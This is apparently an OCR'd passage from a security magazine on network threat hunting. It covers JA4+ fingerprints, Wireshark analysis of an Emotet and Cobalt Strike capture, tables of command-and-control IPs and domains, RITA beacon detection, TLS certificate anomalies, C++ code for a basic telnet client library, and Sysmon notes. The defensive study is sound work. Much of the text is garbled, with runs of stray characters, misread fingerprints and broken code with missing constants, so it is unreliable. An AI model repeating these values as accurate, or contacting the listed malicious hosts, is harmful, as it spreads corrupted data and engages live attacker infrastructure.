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JAAHTTP JadH HTTP Client Fingerprinting
JAdLatency JA4L Latency Measurement / Light Distance
JA4X508 JA4X X509 TLS Certificate Fingerprinting
JA455H JA455H S5H Traffic Fingerprinting
JAATCP JAAT Passive TCP Client Fingerprinting
JA4TCPServer JAATS Passive TCP Server Response Fingerprnting
JAATCFScan JA4TScan Active TCP Server Fingerprinting
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https://hunt.io/glossary/ja4-fingerprinting
https://ja4db.com/
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Application JA4+ Fingerprints

Chrome JA4=t13d1518h

JA4=q13
cedID Malware JA4H=ge11cn020000_Oed1ff1f7b03_cd8dafe26982
Dropper

cedID Malware

Shver Malware

Cobalt Strike

ddaSefafOcbd

d204a01551

SoftEther VPN JA4=113d880900
JA4S=t13
JAAX=d55F
Ewvilginx JA4~t13d191000_9dc949149365_e7c285222651
Reverse SSH JAASSH=c76576_c71s59_c@s70
Shells

g
o
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Sliver C2 List from JA4X

IP Address Domain

81.200.149.183 1293195-ci21745.twl.ru

99.79.189.27 mobile-atrf.com

64.225.189.152 staging.cupid.blunun.com

46.148.26.88 microsoft.com.updatenetworksinfo.com
45,32.120.18 hlakgabiugalibafnafadsfapian.micsoft.org

JA4T/S/Scan: TCP Fingerprint

e TCP Window Size
e TCP Options (in the order they are seen)
e TCP Maximum Segment Size (MSS)

JA4T=65535 2-1-3-1-1-4, 1460 8 1-2-4-8-R6

k d e

TCP Window Scale
TCP Retransmission Timings (only on JA4TScan)
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JAAT - TCP Client Fingerprint Examples

OS5 / Device JAAT

Windows 10 64240_2-1-3-1-1-4_1460_8

Ubuntu 22.04 on Win10 WSL 64240_2-4-8-1-3_1460_7

AWS Windows Server 2022 62727_2-1.3-1-1-4_1460_8
AWS Unix B2727_2-4-8-1-3_1460_7

AWS Unix (internal) B2727_2-4-8-1-3_8961_7
Android 12 42600_2-4-8-1-3_1460_12
Android 13 B5535_2-4-8-1-3_1460_9
DSXAOS (all versions) 65535_2-1-3-1-1-8-4-0-0_1460_6
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http://www.digitalwhisper.co.il/
https://blog.foxio.io/ja4t-tcp-fingerprinting
https://x.com/4A4133/status/1887269972545839559
https://blog.foxio.io/ja4+-network-fingerprinting
https://threatfox.abuse.ch/browse.php
https://threatfox.abuse.ch/browse.php
https://sslbl.abuse.ch/ja3-fingerprints/
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‘ Wireshark - Protocol Hierarchy Statistics - 2022-03-24-Emotet-epochd-with-Cobalt-Strike-carved pcap
Protocol * Percent Packets Packets  Percent Bytes Bytes Bits/s EndPackets EndBytes EndBitss PDUs
v Frame 100.0 8497 100.0 5518254 23k 0 0 0 8497
v Ethernet 100.0 8497 22 118958 511 0 0 0 8497
* Internet Protocol Version 4 100.0 8497 31 169940 73 0 0 8497
* User Datagram Protocol 0.1 6 [ 0.0 48 DNS 0 0 6
Domain Name System e 4 - 0.0 258 258 1 6
» Transmission Control Protocol 999 8491 948 5229050 20 4720964 20k 8491
Transport Layer Secunty o = 81.6 4500387 |9 TLS 4429882 19k £l

ROS L1 <oxs Lk A4 T CATYIFSWIINK yyidad 41 L ise 1 LG & KNG, X
YsOL [ W ¥ po NS eSie § BT " sX ZZQ,, X Lood & xlx
@ s x XWITSo X X PRI X X Xox ¥ Do ® xil] s
JA3: 6271f898ceS5be7dd52b0fc260d0662b3
1 x 208.113.219.140
1 x 195.8.222.36
JA3: 51c64c77e6073980eea90869b68c58a8
13 x 144.202.49.189
33 x 70.36.102.35
JA3: 37f463bf4616ecd445d4a1937da06e19
37 x 139.60.160.8
S U sTi” L £ ONHzACR OA YA SHIINA VI A~ 1 x ¥ WHet L ¥~
O - . xS 4 oL 91/, x4 @S NP F Sviodd2cYn dmc 1 dy
Date (UTC) L 1oc Malware Tags Reporter
2022-03-24 10:55 .60.16 | Cobaltstike | HOSTKEY-USA B dib_ra
2022-03-23 20:44 ).60.160.8:443 ¥ Cobalt Strike [ Cobanstrike | HoSTREY-USA] B drbra
]
LY21/ *x4tin doc d®mnH o p
Date (UTC) . loc Malware Tags Reporter
2022-03-24 16:47 [ Emoter [ Cryptolaemust
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https://threatfox.abuse.ch/browse.php
https://sslbl.abuse.ch/ja3-fingerprints/
https://www.virustotal.com/gui/file/9fd30bda0edf3b10b326703303fa15995a688d200582822ef49422ebac87b7f7/behavior
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Date (UT 1 1oc Malware Tags Reporter
g: P

2022-03-21 15:57 138.197.90.158:8080 [ 3¢ Emotet B Cryptolaemus1

Yx T boxlox s xii ] X T os X Pgq sk xq H |s &3] x7”
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‘ Wireshark - Protocol Hierarchy Statistics - 2022-03-24-Emotet-epoch4-with-Cobalt-Strike-carved.pcap
Protocol ~ Percent Packets Packets Percent Bytes Bytes  Bits/s  End Packets End Bytes  End Bits/s PDUs
~ Frame 100.0 339 100.0 51440 980 0 0 0 339
~ Ethernet 100.0 339 9.2 4746 90 0 0 0 339
~ Internet Protocol Version 4 100.0 339 13.2 6780 129 0 0 0 339
~ Transmission Control Protocol 100.0 339 77.6 39914 760 228 5004 95 339
Transport Layer Security 327 m 63.5 32690 623 m 32690 623 m

O < x 1T K s

Packets /Sjtes  TotalPackets O\ PercentFiltered  Packets A8  BytesA~8  PacketsB-A  BytesB-a( RelStat) /ﬁa:m Bits/sA-~B  Bits)s sh\ <
9 148 17 52.94% 9 1kB 0 Obytes| 1838048208 | 22.1295 500 bits/s 0 bitss
9 | 148 17 5294% 9 1k8 0 Obytes|1827.032281 | 221298 500 bits/s 0 bits/s
5 1he 17 52.94% g 1k8 0 Obytes|1816017423 | 221618 499 bits/s 0 bits/s
3 | 18 17 52.94% G 1k8 0 Obytes| 1805016897 |  22.1460 499 bits/s 0 bits/s
] 18 17 52.94% 9 1k8 0 0 bytes| 1793986052 221593 499 bits/s 0 bitsfs
9 | 18 17 52.94% K 1k8 0 Obytes| 1762986692 | 221556 499 bits/s 0 bits/s
9 e 17 5294% - 1k8 0 Obytes| 1771830055 | 22.2868 496 bits/s 0 bits/s
9 | 18 17 52.94% 9 1k8 0 Obytes| 1760829560 | 222850 496 bits/s O bits/s

13| 218 25 52.00% 13 2k8 0 Obytes|1749.548338 |  22.42%0 585 bits/s 0 bits/s
5 | 18 14 5294% 9 1k8 0 Obytes|1738.533056 | 224215 493 bits/s 0 bits/s
9 | 18 17 52.94% 9 1k8 0 Obytes|1727.501333 | 221801 499 bits/s 0 bits/s
9 148 7 5254% 9 1k8 0 Obytes| 1716470184 221503 438 bits/s 0 bits/s
9 | 18 17 5294% 9 1k8 0 Obytes|1705470522 | 221535 499 bits/s 0 bits/s
5 | 1 7 52.94% 9 168 0 Obytes| 1694469940 | 221296 500 bits/s 0 bits/s
9 1k 7 52.94% 9 1k8 0 Obytes| 1683423531 | 221673 499 bits/s obits/s
9 | 18 17 52.54% B 1k8 0 Obytes| 1672423658 |  22.1779 499 bits/s 0 bits/s
5 | 18 17 $2.94% 9 1k8 0 Obytes|1661.407585 | 22.1663 499 bits/s 0 bits/s
5 | 1 17 52.94% 9 1k8 0 0bytes|1650.392023 | 22,1563 499 bits/s 0 bits/s
5 1 17 52.54% “ 1k8 0 Obytes|1639.376612 | 221635 499 bits/s 0 bits/s
) k8 17 52.94% 9 1k8 0 Obytes| 1628235595 | 222931 496 bits/s 0 bits/s
5 | 1a 77 52.94% 5 1k8 0 Obytes|1617.095160 | 224173 491 bits/s 0 bite/s
5 | 1@ 17 52.94% 9 1k8 0 Obytes|1606.079615 | 223182 496 bits/s 0 bits/s
9 | 18 17 52.94% 5 1k8 0 Obytes| 1594.860888 | 223581 495 bits/s 0 bits/s
s | 18 17 52.94% 9 1k8 0 Obytes| 1563814142 | 223928 494 bits/s Obits/s
9 | 18 7 52.94% 9 1k8 0 Obytes|1572.798881 | 22.1879 499 bits/s 0 bits/s
5 | 1 17 52.54% 9 1k8 0 0bytes|1561.689206 | 222833 496 bits/s 0 bits/s
9 \ 18 17 52.94% 9 1kB 0 0 bytes|1550.657771 \:wao 497 bits/s oney'
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http://www.digitalwhisper.co.il/
https://www.activecountermeasures.com/blog-beacon-analysis-the-key-to-cyber-threat-hunting/

aTechnologic

YT~ X x 14X sl x v T 3 T ndoc DMAH PO P

‘ Wireshark - Protocol Hierarchy Statistics - 2022-03-24-Emotet-epoch4-with-Cobalt-Strike-carved.pcap
Protocol ~ Percent Packets Packets Percent Bytes Bytes  Bits/s End Packets End Bytes End Bits/s PDUs
~ Frame 100.0 5328 100.0 3745072 19k 0 0 0 5328
~ Ethernet 100.0 5328 20 74592 383 0 0 0 5328
~ Internet Protocol Version 4 100.0 5328 2.8 106560 547 0 0 0 5328
~ Transmission Control Protocol 100.0 5328 95.2 3563920 18k 4927 3236000 16k 5328
Transport Layer Security 7.5 401 923 3456832 17k 401 3456832 17k 401

Dd o) s XX MM L1 AS 811X 118 TSndoc OMARN Qap

d ¥ 4 I, xoo X

Packets» | Bytes  TotalPackets  Percent Filtered Packets A~ B BytesA—8 PacketsB+A  Bytes8—~A  ReiStat  Duration Bits/sA—~B Bits/sB-A °
n 1k8 19 57.89% n 148 0 Obytes 27.448174 51.5534 224 batsfs 0 bats/s
n 28 19 57.89% 1" 2k8 0 Obytes 52861351 285755 431 bits/s 0 bits/s
1" 1k8 19 57.89% 1" 148 0 Obytes 81.437144 324439 361 bits/s 0bits/s
n 28 19 57.89% n 2k8 0 Obytes 226.374271 17.2989 721 bits/s 0 bits/s
1" 168 19 57.89% 1 1k8 0 Obytes 279.001670 74.6874 151 bits/s 0 bitsfs
1" 1k8 19 57.89% " 168 0 Obytes 305204425  48.4845 244 bits/s 0 bits/s
n 28 19 57.89% n 248 0 0 bytes 1253.405492 58.3610 210 bits/s 0bitsfs
n 2k8 19 57.89% n 2k8 0 0bytes 1280376792 532964 233 bits/s 0 bitsfs
n 2k8 19 57.89% " 2k8 0 0bytes 1335.465481 25.7700 470 bits/s 0 bitsfs
" 168 9 57.89% 1" 148 0 Obytes 1385766480 238111 468 bits/s 0bitsfs
1" 168 19 57.89% " 1k8 0 0bytes 1410.578467 329377 344 bits/s 0bits/s
" 1k8 19 57.89% 1" 1k8 0 Obytes 1443516550  27.7343 431 bits/s 0 bitsfs
1" 2k8 19 57.89% 1" 248 0 Obytes 1471.282477 529534 228 bits/s 0 bits/s
1" 2k 19 57.89% " 2k8 0 0bytes 1502.485587 78,7508 157 bats/s 0 bits/s.
12 168 21 57.14% 12 1k8 0 Obytes 113881422 19.7921 604 bits/s 0 bits/s
n” 1k8 ral 57.14% 174 1k8 0 Obytes 142365431 317135 366 bits/s 0 bits/s
n° 2k8 2 57.14% 12 2k8 0 Obytes 174.079236 502334 245 bies/fs 0 bits/s
12 168 ) 57.14% 12 148 0 Obytes 202.095625 242784 430 bits/s 0 bits/s
12 248 21 57.14% 12 248 0 Obytes 255.978034 49.2260 260 bits/s 0 bitsfs
12 2k8 b3 57.14% 12 2k8 0 Obytes 1311766861 236983 523 bis/s 0 bits/s
L1 1k8 21 57.14% 12 1k8 0 O bytes 1361.626008 45.7346 261 bits/s 0 bits/s
” 148 2 57.14% 1?2 1k8 0 0 bytes 1524.236248 56,9999 209 bits/s 0 bits/s
54 48 120 45.00% 54 4k8 0 Obytes 23.692759  29.1681 1,007 bits/s 0 bits/s
63 4ks 13 49.09% 63 4k8 0 Obytes 172299362 29.7960 1,160 bits/s 0 bits/s
76 5kB 154 49.35% 76 5k8 0 Obytes 254.189309 248120 1,635 bits/s 0bits/s
7 5kB 154 50.00% 7 5kB 0 Obytes 1333.673558 27.5620 1,486 bits/s 0 bits/s

220 13k8 591 37.23% 220 13k8 0 Obytes 1441236178 300149 3,416 bits/s obitsfs
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&  Beacon Detection: Search for signs of beaconing behavior in and out of your network

&  DNS Tunneling Detection: Identify signs of DNS-based covert channels

@  Long Connection Detection: Easily see connections that have communicated for long periods of time

&  Threat Intel Feed Checking: Query threat intel feeds to search for suspicious domains and hosts

@ Connections Scored by Severity: Critical, High, Medium, Low

&  Prevalence: Displays how many of your internal hosts are communicating with a particular extemal host

@  First Seen: Displays when the external host was first seen on the network
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https://github.com/activecm/rita
https://www.activecountermeasures.com/free-tools/rita/
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https://hub.docker.com/r/zeek/zeek
https://github.com/activecm/rita/blob/main/docker-compose.prod.yml
https://attack.mitre.org/techniques/T1588/004/
https://www.nccgroup.com/us/research-blog/encryption-does-not-equal-invisibility-detecting-anomalous-tls-certificates-with-the-half-space-trees-algorithm/
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Subject Name:

C=Us, 5T=TX, L=Texas, OU=, CN=idrivedownload|.]com

Issuer Mame:

C=US, 5T=TX, L=Texas, tiL|=JI CN=idrivedownload[.]com

® 1... x@fganization UnitOUs ! _ sitjb s 10F¥ganization®s ! _ s
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Subject Name:
C=GB, L=Manchester, 0=NCC Group PLC, CN=www.nccgroup.com

Issuer Name:

C=US, O=Entrust, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K
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https://www.gdatasoftware.com/blog/2019/08/35046-whats-all-the-buzz-about-looking-at-the-ryuk-ransomware-as-an-example
https://threatview.io/Downloads/High-Confidence-CobaltStrike-C2%20-Feeds.txt
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865 23, 989744 76.36,102.35 10.3.24.101 TLSV1,2 1418 Server Meilo, Certificate, Server Key Exchange, Server Hello D
803 23.820912 16.3.24.161 70.36.162.35 TLSvi. 2 263 Client Mello

item (id-at-organizs

+ RDNSequence ites: item (id-at-commonName=example.com)
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2022-12-30 19:48 verofes.com 3 Cobalt Strike
2022-03-24 10:55 http://verofes.com/apiv8/getStatus 3 Cobalt Strike
2022-03-23 20:44 https://verofes.com/apiv8/getStatus ¥ Cobalt Strike [ CobaltStrike | HOSTKEY-USA |
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#ifndef RTELNET_H
#define RTELNET_H

CIl X4 ST e O A rdd

_x !Class 1 -

inline  constexpr int RTELNET _SUCCESSG:
inline  constexpr int RTELNET_PORT

class session {

public :
int _port = RTELNET_PORT;
const char* _address;
std:: string _username;
std:: string _password;

session(
const char * address,
const std:: string username,

const std:: string password,
int port=RTELNET_PORT

_address(address),
_username(username),
_password(password),
_port(port) {}
private
bool connected = false ;
bool negotiated = false ;
bool _logged_in= false ;
int _fd;
I

#endif /[ RTELNET_H
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1 sys/socket.h
netinet/in.h
1 arpalinet.h

=

SX N sTC { L TER X X 4¢lss " {siSkssion 1 1 x _Class® x DAl
sY- y:~x>ﬁ_ « . S

enum Errors  {
ADDRESS_NOT_VALID
CANNOT_ALOCATE _FD =
CONNECTION_CLOSED R=,
NOT_CONNECTED =
FAILED_SEND
PARTIAL_SEND

1. 1 integer- 4 Z1x"., 1 ¢ {4 1T¥sx{ . © x §:1"x{"7 ¢ BXception- 1 ¢ 1 5" __1 8 |
¥odyps T oasldn ss

sql {15+ X X % NRTELNET_SUCCESS

eno: ~ 1¥~ ~ 1 8Yl Hx1nf

‘S v DS X Y HANT

¥oos sty s, 4 Sihlines 4 .« " X

inline  std::string_view readError( int  rtntErrno) {
if  (rtntErrno < ){ return strerror(errno); } [ return errno
switch  (rtntErrno) {
case RTELNET SUCCESE&eturn "No error."
case Errors ::ADDRESS NOT_VALIDreturn "Address is not valid."
case Errors ::CANNOT_ALOCATE_FDeturn "Cannot allocate a file
descriptor."

case Errors ::CONNECTION_CLOSED_Return "Connection closed by remote."
case Errors :INOT_CONNECTEDreturn "Connection failed."
case Errors ::FAILED_ SEND: return "Could not send message."

case Errors ::PARTIAL_SEND: return "Message was sent partially."
default : return "Unknown error."

s 4. «" 8 N q !I~ix :\'| x~xvl ~LV|3DS|XTEV N I t'IA LVXXSX"L:Y: X &rrno q
@ _ L1 g s, s s x ., T s
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Se¥sion: 1 TCP ~ x A ¥ B@lasyw % x ‘"lio4x"{ _ | |

class tcp{
public :

tcp(session* owner) : _owner(owner) {}
private

session* _owner;

3

sdckaddr_int « 4 4 * ¥ L 9.0 4 « " x|

inline  unsigned int setSocketAddr(sockaddr_in& server_address) const {
server_address.sin_family = AF_INET;
server_address.sin_port = htons(_owner -> port);

if (inet_pton(AF_INET, owner ->_ address, &server_address.sin_addr) <=
return Errors ::ADDRESS_NOT_VALID;

}

return RTELNET_SUCCESS;

ockaddr _ind *LY¥ ~» x * 4 1]
sockaddr_ir

inline  unsigned int Connect(sockaddr_in& address) {
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < ) return Errors ::CANNOT_ALOCATE_FD;

errno =
if (connect(sockfd, reinterpret_cast <sockaddr*>(&address), sizeof (address)) <
){ return errno;}

_owner->_connected = ftrue ;
return  sockfd;

}

void Close () {
close(_owner ->_ fd);
_owner->_connected = false ;

}

ﬁ
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~

inline unsigned int SendBin(const std:vector< unsigned char>& message, int

sendFlag= 0) const {
if (!_owner -> connected) return Errors ::NOT_CONNECTED;

errno=0;
ssize t bytesSent = send(_owner ->_ fd, message.data(), message.size(),
sendFlag);

if (bytesSent == ) return Errors ::FAILED_ SEND;

if (static cast <size t> (bytesSent) |= message.size()) return
Errors ::PARTIAL_SEND;

if (bytesSent < ) return errno;

return RTELNET_SUCCESS;
}

Rénegotiationx Negotiationt ~  TTélnet: ~ _ucx M x s I xx€7f o 7 x

16X € X058 VA o

~

inline  unsigned int Send(const std:: string & message, int sendFlag= 0) const {
if (!_owner -> connected) return Errors ::NOT_CONNECTED;

std::vector<  unsigned char > buffer;
buffer.reserve(message.size());

/I Escape 255/0xFF
for (unsigned char c:message){
buffer.push_back(c);
if (I(_owner ->_binarySendEnabled && _owner ->_binaryReceiveEnabled) && ¢ ==
) buffer.push_back( );

}

errmno= 0
ssize t bytesSent = send(_owner ->_ fd, buffer.data(), buffer.size(),
sendFlag);

if (bytesSent == ) return Errors ::FAILED_SEND;

if (bytesSent < ) return errno;

if (static_cast <size t> (bytesSent) != buffer.size()) return
Errors ::PARTIAL_SEND;

return RTELNET_SUCCESS;
}

s xHXp Pl HEpwppHpp T A4dHx  RAZYLAT X e e X2 o KX 49
IAC i~
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inline  unsigned int Readstd::vector<

RTELNET_|

if (!_owner ->_connected)

buffer.resize(readSize);

fd_setre

adfds;

FD_ZERO(&readfds);
FD_SET(_owner >_fd, &readfds);

timeval ti

meout{};

timeout.tv_sec =
timeout.tv_usec = 5

int ready =

if (read
if (read
buffer.
return

}

errno =
ssize t

y < 0) return errno;
y== 0){

clear();

RTELNET_SUCCESS,;

bytesRead = recv(_owner

readSize, recvFlag);

BUFFER_SIZEnt recvFlag =
return

select (_owner->_fd +

Technologic

unsigned char >& buffer, int readSize =
) const {
:NOT_CONNECTED;

Errors

, &readfds, nullptr , nullptr , &timeout);

-> fd,

if (bytesRead < 0) return errno;
if (bytesRead == 0) return Errors

buffer.resize(bytesRead);

return

RTELNET_SUCCESS,;

~session() {

_tep.
}

tcp _tcp;
private
friend

R I

Close ();

class tcp;

+ 8o % TEnett x «

XS 7 A

reinterpret_cast <char *>(buffer.data()),

:CONNECTION_CLOSED_R;
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enum Errors  {
ADDRESS_NOT_VALID =
CANNOT_ALOCATE_FD =

CONNECTION_CLOSED R=,
NOT_CONNECTED =
FAILED_SEND =
PARTIAL_SEND =
NOT_A_NEGOTIATION =
NOT_NEGOTIATED =
USERNAME_NOT_SET
PASSWORD_NOT_SET
NOT_LOGGED
FAILED_LOGIN

Negotiate
Télnet . Negotiationt * v + o+ S:"{1e XFd « &7 X
Neégotiation: | T ¢ +™ %« 1 £ +¥%S4 ®enumhs, 1 ISE". « 7 x ¢ 3 4. 7"

enum TelnetCommands : unsigned char {
IAC = , Il Interpret As Command
DO = , Il Please use this option
DONT = , Il Please don't use this option
WILL = , /'l will use this option
WONT = /I won't use this option

k

enum TelnetOptions  : unsigned char {
BINARY = /I Binary transmission (8 - bit clean communication)
ECHO = /l Echo input back to sender (commonly server - side)
SGA = /I Suppress Go Ahead (stream mode instead of line mode)
STATUS = /I Query or send current option status
TIMING_MARK = /I Timing mark for synchronization
TERMINAL_TYPE =24 /[ Exchange terminal type (e.g., "ANSI", "VT100")
/I ldeally add all.

TCR X % 4 3 x"x I 95" 4 ]!

unsigned int Negotiate () {
if (!_connected) return Errors ::NOT_CONNECTED;
return RTELNET_SUCCESS;

}
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std::vector< unsigned char > buffer;

while (true ){
/I Peek in the buffer
buffer.clear();
unsigned int bufferPeek = _tcp. Readbuffer, , MSG_PEEK);
if (bufferPeek = RTELNET_SUCCESS){ return bufferPeek; }

XY b

X
—_

Drse x Xpse x| X g g L o@afferttx . 48 ] -

ssize t n= static_cast <ssize t> (buffer.size());

if (n< 3){ /I There are less than 3 bytes (Not IAC COMMAND OPTION)
_hegotiated =  false ;
return Errors ::NOT_NEGOTIATED;

}

/l'If not a negotiation packet, exit
if (buffer] 0]!= TelnetCommands:IAC) {
if (! _negotiated) {
return Errors :INOT_A_NEGOTIATION;
} else {
break ;
}
}

XYo X pX XXX b h XX T g X 4 D dpaasx L ks ko4 X

buffer.clear();
unsigned int bufferResult = _tcp. Readbuffer, );
if (bufferPeek != RTELNET_SUCCESS) return bufferResult;

unsigned char command = buffer[ 1];
unsigned char option = buffer| I;

Yooso4x, 46 1s  x

std::vector< unsigned char > response = {
static cast <unsigned char >(TelnetCommands:IAC),
static_cast <unsigned char >(0),

static_cast <unsigned char >(option)

k
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switch (command) {
case TelnetCommands:DO:
switch  (option) {
case TelnetOptions ::BINARY:response[ 1]= TelnetCommands:WONT; break ;
case TelnetOptions ::ECHO: response[ 1]= TelnetCommands:WONT; break ;
case TelnetOptions ::SGA:response[ 1]= TelnetCommands:WONT; break ;
case TelnetOptions :STATUS: response] 1]= TelnetCommands:WONT; break ;
case TelnetOptions :TIMING_MARK: response[ 1]= TelnetCommands:WONT;
break ;
case TelnetOptions ::TERMINAL_TYPE: response[ 1] = TelnetCommands:WONT;
break ;
default :response[ 1]= TelnetCommands:WONT; break ;

}

break ;

case TelnetCommands:WILL:
switch  (option) {
case TelnetOptions ::BINARY:response[ 1]= TelnetCommands:WONT; break ;
case TelnetOptions ::ECHO: response[ 1]= TelnetCommands:WONT; break ;
case TelnetOptions ::SGA:response[ 1]= TelnetCommands:WONT; break ;
case TelnetOptions :STATUS:response[ 1]= TelnetCommands:WONT; break ;
case TelnetOptions :TIMING_MARK: response[ 1] = TelnetCommands:WONT;
break ;
case TelnetOptions ::TERMINAL_TYPE: response[ 1] = TelnetCommands:WONT;
break ;
default :response[ 1]= TelnetCommands:WONT; break ;
}
break ;
case TelnetCommands:WONT:
case TelnetCommands:DONT:
/' ldeally, add support for these later.
break ;

Y. _SL~ s * x 1.3 L rox A L

_tcp. SendBin(response);

_hegotiated = true ;

Y1 ¢ [Edakds « o X 1sse i Y

return RTELNET_SUCCESS,;
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unsigned int expectOutput( const std:: string & expect, std::vector< unsigned
char >& buffer) {

if (I_connected) return Error ::NOT_CONNECTED;

if (I_negotiated) return  Error ::NOT_NEGOTIATED;

for (int i= 0;i< ; ++) {
unsigned int readStatus = _tcp. Readbuffer);
if (readStatus != RTELNET_SUCCESS) return readStatus;

std:: string cleanedBuffer( reinterpret_cast <const char *>(buffer.data()),
buffer.size());

cleanedBuffer.erase(std:: remove(cleanedBuffer.  begin (),
cleanedBuffer. end(), '\r' ), cleanedBuffer. end());

cleanedBuffer.erase(std:: remove(cleanedBuffer.  begin (),
cleanedBuffer. end(), '\n'), cleanedBuffer. end());

if (cleanedBuffer.find(expect) != std:: string ::npos) {
return RTELNET_SUCCESS;

}

std::this_thread::sleep_for(std::chrono::milliseconds(

}

return Error ::CANT_FIND_EXPECTED;

ﬂ
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unsigned int Login () {
if (! _connected) return Error ::NOT_CONNECTED;
if (!_negotiated) return Error ::NOT_NEGOTIATED;
if (_username.empty()) return Error ::USERNAME_NOT_SET;
if (_password.empty()) return Error ::PASSWORD_NOT_SET;

std::vector<  unsigned char > buffer;

[/l Enter login

buffer.clear();

unsigned int loginStatus = expectOutput( "login:" , buffer);

if (loginStatus != RTELNET_SUCCESS) return loginStatus;
unsigned int loginResponse = _tcp.  Send(_username + "\ n");
if (loginResponse = RTELNET_SUCCESS) return loginResponse;

/I Enter password

buffer.clear();

unsigned int passwordStatus = expectOutput( "Password:" , buffer);

if (passwordStatus != RTELNET_SUCCESS) return passwordStatus;
unsigned int passwordResponse = _tcp. Send(_password + "\n");

if (passwordResponse != RTELNET_SUCCESS)return passwordResponse;

_logged_in= true ;

return RTELNET SUCCESS;
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Connect

sLd x4 X0 s dsdux " ANegotiationt X L - v X X AKed X7 X1
Y T oXx v X e X, oy

unsigned int Connect() {
sockaddr_in address;
unsigned int addressResult = tcp.setSocketAddr(address);
if (addressResult != ) return addressResult;

int fd=_tcp. Connect(address);
if (fd< ) return fd;
_fd =1d;

int negotiateStatus = Negotiate ();
if (negotiateStatus != RTELNET_SUCCESS) return negotiateStatus;

return RTELNET_SUCCESS;

:q} ": XX~‘I \L“\.:" X \.) j X L\: - : X 7 |J v‘l -”

TCP Session” ~ {1
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inline  constexpr int RTELNET_IDLE_TIMEOUT
inline  constexpr int RTELNET TOTAL_TIMEOUT

/I In the Session class:
int _idle = RTELNET IDLE_TIMEOUT;
int _timeout = RTELNET_TOTAL_TIMEOUT;

¥« .« "xpis, ] X

unsigned int Execute (const std:: string & command, std:: string & buffer) {
if (!_connected) return Error ::NOT_CONNECTED;
if (!_negotiated) return Error ::NOT_NEGOTIATED;
if (!_logged_in) return Error ::NOT_LOGGED;

unsigned int sendStatus = tcp.  Send(command + "\ n");
if (sendStatus != RTELNET_SUCCESS) return sendStatus;

std::vector< unsigned char > output;
buffer.clear();

ﬂ
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auto startTime = std::chrono::steady_clock::now();
auto lastRead = startTime;

while (true ){
unsigned int readStatus = _tcp. Readoutput);
if (readStatus != RTELNET_SUCCESS) return readStatus;

if (‘output.empty()) {
buffer.append( reinterpret_cast <const char *>(output.data()),
output.size());
lastRead = std::chrono::steady_clock::now();

}

auto now = std::chrono::steady_clock::now();

auto idle = std::chrono::duration_cast<std::chrono::milliseconds>(now
lastRead).count();

auto total = std::chrono::duration_cast<std::chrono::milliseconds>(now
startTime).count();

if (idle > _idle || total > _timeout) break ;

std::this_thread::sleep_for(std::chrono::milliseconds(

}

return RTELNET_SUCCESS;
}

s | omtPutt . " IX¥ 4L s IS {blffere v o~ X $C XX 51 . <M
TS s A DTy Se X o s 45, DK A XL S T s
sq) X “S"L X Y ! SLJL XSJ”S: . s=§v‘§( \szq

SIS s 4SS xS T [px kX5 f o, < S UHRSXS pex x4

'Y, _demo/: 14 1

#include "rtelnet.hpp"
#include <iostream>

int main(int argc, char *argv[]) {
if (argc< 2){
std::cerr << "[ERROR]: Usage: " <<argv[ 0]<< "<ADDRESS><PORT®=";
return ;

}

session Session (argv[ 1], "example" , "1234" , std::atoi(argv[ 1);

unsigned int connectSuccess = Session . Connect();
if (connectSuccess = RTELNET_SUCCESS) {
std::cerr << "[CONNECTION ERROR]: "<< readError(connectSuccess) <<

ﬁ
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return

}

std:: string  buffer;

[l Flush the banner
unsigned int fbSuccess = Session . Execute ("\ n", buffer);
if (foSuccess !|= RTELNET_SUCCESS) {
std::cerr << "[EXEC_ERROR]: " << rtnt::readError(foSuccess) <<

return .

}

/I Execute command
unsigned int execSuccess = Session . Execute ("Is - al /demo" , buffer);
if (execSuccess !|= RTELNET_SUCCESS) {
std::cerr << "[EXEC_ERROR]: " << rtnt::readError(execSuccess) <<
return ;

}

std::cout << buffer << "\'n";
return ;

¥ 1L -denmid s 4 « T xise, X7 | x '{X“"i":L'iz’XL“S'I AT I I SN

noam noamt build t B Bmake

[ %] Building CXXobject CMakeFiles/relic - telnet.dir/src/rtelnet.cpp.o

[ %] Linking CXX executable /home/noam/ Work_spaces/ Personal /chronicle/relic
telnet/bin/relic -telnet - tester

[ %] Built target relic - telnet

noam noamt build t B B./bin/relic -telnet - tester

total

drwxr - Xr - X root root Jun : .
-fW-r-- - root root Jun : Hello
-IW-rF-- - root root Jun ; Digital
-TW-r-- I -- root root Jun : Whisper
dr - Xr - xr - X. root root Jun :
[example@server ~]$

FX 1A
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sq v sos |4 L X AHIST 4T ] x ] XX 7 .

s X X Ly X qxsTy s S, X GET A d ¥, SN HX K H e L] T X

TOLC xs Jp FX X X K _d Y ws

~

SKEXJs _Dox T WAoo a0 e e q ]
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DO e A L e XX ST f Y ] S5 1 X DX w oy b ox Xs €1

®ysmont + 1 s Windaws

P ALs T D X e s B X TX L o E s Y Loy s X s O T X %]
xcmp<-|vl I x

SH 45 <"1 ~ «

F 1. % H4 Sysmon | « -

@S ed Yok ITESA L, AUsIXy Sgsmon s & st 4 MHx X oS c el xd T
Windowst _ + 1 ¥ X o st X% 4 R p.X Microsoft. _Sysinternals 1 41 -~ 154 "ISysSmon
P X P AXZT A ok 2 i eesdT 4 xs L X XDl xos] | X

P U S Ixe oy s s X5 SIEME X ] s A 2 XS vk 4 ¥ XTXS LY s

F T XSy T, R oSXX
S A v XA AN AT T2 DS s X § | Widows: | - SerVicei T « Sysmon
Y oxxx o A x4 %o e DX ordd o 1 e H s Hesd ] XMW

s s O] XL s ix_ } 10 x *Placéss Creatian 1 | 4°1~s1'4 4 T «Sysmon:Y1 | 4 L -
@otmand Liney! x < . s PPDX« sS4 18 s S (BIDY 4L s s

PO L X T RHE X X X T Y s P 4 TR X A A e X T
IS I WL I RS 2N SN BN AL

W01 ¥ x A4 LKernel Driver "« 28 s e X s ks, Ld o % £ 1SYsmon
O L. AS X AASHT c 1 SR . K Ldw Level
S v K o~ DA T8t 70 4] )Windows L EdentLogT | xXdx 4 d P KD ox xos

SEEM 1 X X d X esqp o K 0 X

. K X144 Sy@mon 1~ 8 X XS

Windowss | :ss. | xtsy oo x4

. .8 .m$ysmon forLinux: ~{ « X7 L1
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XX W . ~_|s|_ SSJ:‘ Ixs1” " {x

LA T3 s *x v 40, « xX "{ I Windowss L

S

NS

POL « .S

T X447 54 ¥

X X X «

I

L

F 11 Ao stix L x o Bebuggers 01 x

Jod e A s vE s x

